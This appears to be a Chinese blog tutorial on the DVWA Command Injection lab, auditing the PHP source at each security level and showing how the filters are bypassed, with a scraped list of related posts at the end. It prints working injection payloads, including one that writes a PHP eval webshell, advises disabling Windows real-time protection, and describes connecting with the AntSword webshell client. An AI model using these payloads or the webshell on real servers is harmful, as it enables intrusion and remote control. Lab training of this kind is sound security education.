DVWA-Command Injection(命令执行)
命令执行漏洞,顾名思义,服务端在进行一些网站的操作、管理的时候,需要调用系统命令,如果对传入的命令参数没有进行一些过滤,可以直接执行服务器系统的命令终端
LOW
审计源码
<?php
// 判断是否提交了 Submit
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取 ip 传参,理想输入IP地址
$target = $_REQUEST[ 'ip' ];
// 确认操作系统
// stristr() 截取 Windows NT 从开始到结束的位置
// php_uname() 获取PHP版本信息 ,值为s,获取操作系统名称
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 如果是windows,执行ping命令跟上传入的IP地址
// shell_exec() 执行系统命令
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 如果是linux、unix等系统,执行 ping -c 4 四次测试,在Linux中ping是不会自动停止的
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 打印命令执行结果
echo "<pre>{$cmd}</pre>";
}
?>
可以看到,对输入的IP没有进行任何的过滤,可以直接进行命令注入
在windows命令行中,可以使用
& && | ||
& 符号
通过图片可以看出,&号无论ping
执行正确还是失败,都会执行net user
&& 符号
&&只有ping
命令执行成功后,后面的net user
才可以执行成功
| 符号
|
是意思是,将ping
执行的结果,交给net user
处理,只会回显net user
的回显,但是无论ping
执行是否成功,一定会执行net user
|| 符号
||
会寻找正确的语句执行,执行完就会停止,可以看到,ping
语句执行失败,执行了net user
,第二条命令ping
执行成功,没有执行echo
,后面使用type
验证echo
没有执行成功
命令注入
在框中输入a|dir
,查看当前目录文件,发现只有一个index.php
使用echo写入一句话木马a|echo "<?php @eval($_POST[cmd])?>" > a.php
如果在Windows 10
中运行,现将安全中心的实时防护
关闭
执行后没有任何回显,应该是写入成功了
继续使用a|dir
查看木马是否写入成功
a.php已经被写入成功,使用a|type a.php
查看a.php
内容
只有两个双引号,里面的php语句应该是被当做页面执行了
使用蚁剑进行连接
蚁剑是一个类似于中国菜刀的工具,但是比起中国菜单更好用,下载见
启动器
源码
将启动器和源码分别解压,然后启动器启动时选择启动目录为加压的源码目录就可以使用
根据a|dir
获取a.php
木马的路径,D:\phpstudy_pro\WWW\dvwa\vulnerabilities\exec
那么在地址栏中就是http://127.0.0.1/dvwa/vulnerabilities/exec/a.php
,测试连接成功
添加,双击进入可以查看靶机目录
利用成功
Medium
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取传入的 ip
$target = $_REQUEST[ 'ip' ];
// 定义字符黑名单
$substitutions = array(
'&&' => '',
';' => '',
);
// 将黑名单中的字符过滤,替换为空
// str_replace() 替换选中的字符
// array_keys选中 && ;,
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
?>
这里对&&
和;
号进行了过滤,但是对我们没有什么影响,|
依然能用
a|echo hello world
测试
成功打印了hello wolrd
成功过关
High
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取 IP 传参
$target = trim($_REQUEST[ 'ip' ]);
// 定义过滤黑名单
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// 将IP中的黑名单字符转换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
?>
可以看到和Medium
的代码没什么区别,不过添加的黑名单变多了,|
视乎也被过滤了
但是仔细观察会发现,过滤的是|
,|空格
,并不是|
,在程序中,空格也是一个字符
所以使用|
依然可以使用
a|echo cnblogs.com/Junglezt
,测试
执行成功,过关
Impossible
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查token值
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取输入的IP地址
$target = $_REQUEST[ 'ip' ];
// 去除左右两边的反斜杠
$target = stripslashes( $target );
// 将传入的IP使用 . 进行分割
$octet = explode( ".", $target );
// 根据IP地址的格式,判断用 . 分开的四个部分是不是数字
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果是数字,将四个字数拼接为一个IP地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
else {
// 命令执行失败,检查输入的是不是一个IP地址
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成 user_token
generateSessionToken();
?>
引入了user_token
,并且将输入的传参分割判断是不是IP地址的格式,所以这才是 Impossible
DVWA-Command Injection(命令执行)的更多相关文章
- DVWA之Command injection(命令执行漏洞)
目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, & .&& .| . || 都可以作为命令连接符使用,用户通过浏览器 ...
- 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御
本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...
- DVWA Command Injection 通关教程
Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...
- Fortify Audit Workbench 笔记 Command Injection(命令注入)
Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...
- DVWA靶场练习-Command Injection命令注入
Command Injection 原理 攻击者通过构造恶意参数,破坏命令的语句结构,从而达到执行恶意命令的目的.
- DVWA Command Injection 解析
命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...
- 2. DVWA亲测命令执行漏洞
先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令 我们输入127.0.0.1& ...
- command injection命令注入
命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...
- DVWA靶机的命令执行漏洞
之前在打攻防世界的时候出现过类似的题目,这里再重温一下 (靶机一共低中高三个安全等级,这里只演示低中等级) (1)Security:low 根据提示让我们输入地址ping一下,之后返回以下内容,可以判 ...
- DVWA-对Command Injection(命令注入)的简单演示与分析
前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...
随机推荐
- NAT的转换
NAT的转换 拓扑图 Sever0的IP地址:192.168.0.1/24 网关:192.168.0.254 PC0的IP地址:192.168.0.100/24 PC1的IP地址:192.168.0. ...
- CentOS系统 / 目录下每个子目录的作用
Text. 1./bin 该目录存放root和交互式登录用户使用的二进制可执行文件,如cat,cp,date,rm等. 2./boot 该目录主要存放系统启动所需要的相关文件,如何内核文件vmlinu ...
- iOS加载动态自定义字体
iOS加载动态自定义字体 NSString *cachePath = NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDom ...
- 第九章 MySQL 高可用(MHA)
MySQL 高可用(MHA) 一 MHA高可用部署 需要使用的前提: 当普通主从复制不能满足我们的需求, 主节点宕机 影响业务的不间断运行.这里就需要用到MHA 高可用 1. MHA高可用的介绍 ...
- C# 俩个字符串数据进行对比取出不同的数据
string sel_JD = "电冰箱,电热水壶,客厅空调,饮水机,"; string Operation_JD = "电冰箱,电热水壶,电动汽车,"; Li ...
- 【七侠传】冲刺阶段--Day2
[七侠传]冲刺阶段--Day2 团队成员 20181221曾宇涛 20181202李祎铭 20181209沙桐 20181215薛胜瀚 20181216杨越麒 20181223何家豪 20181232 ...
- 简体Windows系统登录玩新枫之谷方法
2022-2-23 游戏更新后Locale.Emulato失效,64位游戏使用新的工具Locale_Remulator,请自行到GitHub上搜索下载,使用方法与Locale.Emulato类似. ...
- IIS 7.0、IIS 7.5 和 IIS 8.0 中的 HTTP 状态代码
https://support.microsoft.com/zh-cn/help/943891/the-http-status-code-in-iis-7-0--iis-7-5--and-iis-8- ...
- mybatis lombok 报错: java: java.lang.IllegalAccessError: class lombok.javac.apt.LombokProcessor
1. 报错原因:jdk版本太高,lombok版本太低 2. 解决办法:安装更高版本的依赖包,可以去Maven Repository: lombok去查:https://mvnrepository.co ...
- Epoll的使用例子
本篇文章在上一篇的基础上,使用 epoll 实现了一个事件监听和回调处理的模块.如何编写一个使用该模块的例子呢? 监测什么类型的fd,监测什么类型的事件,监测到事件以后需要做什么?后来可以看看如何将 ...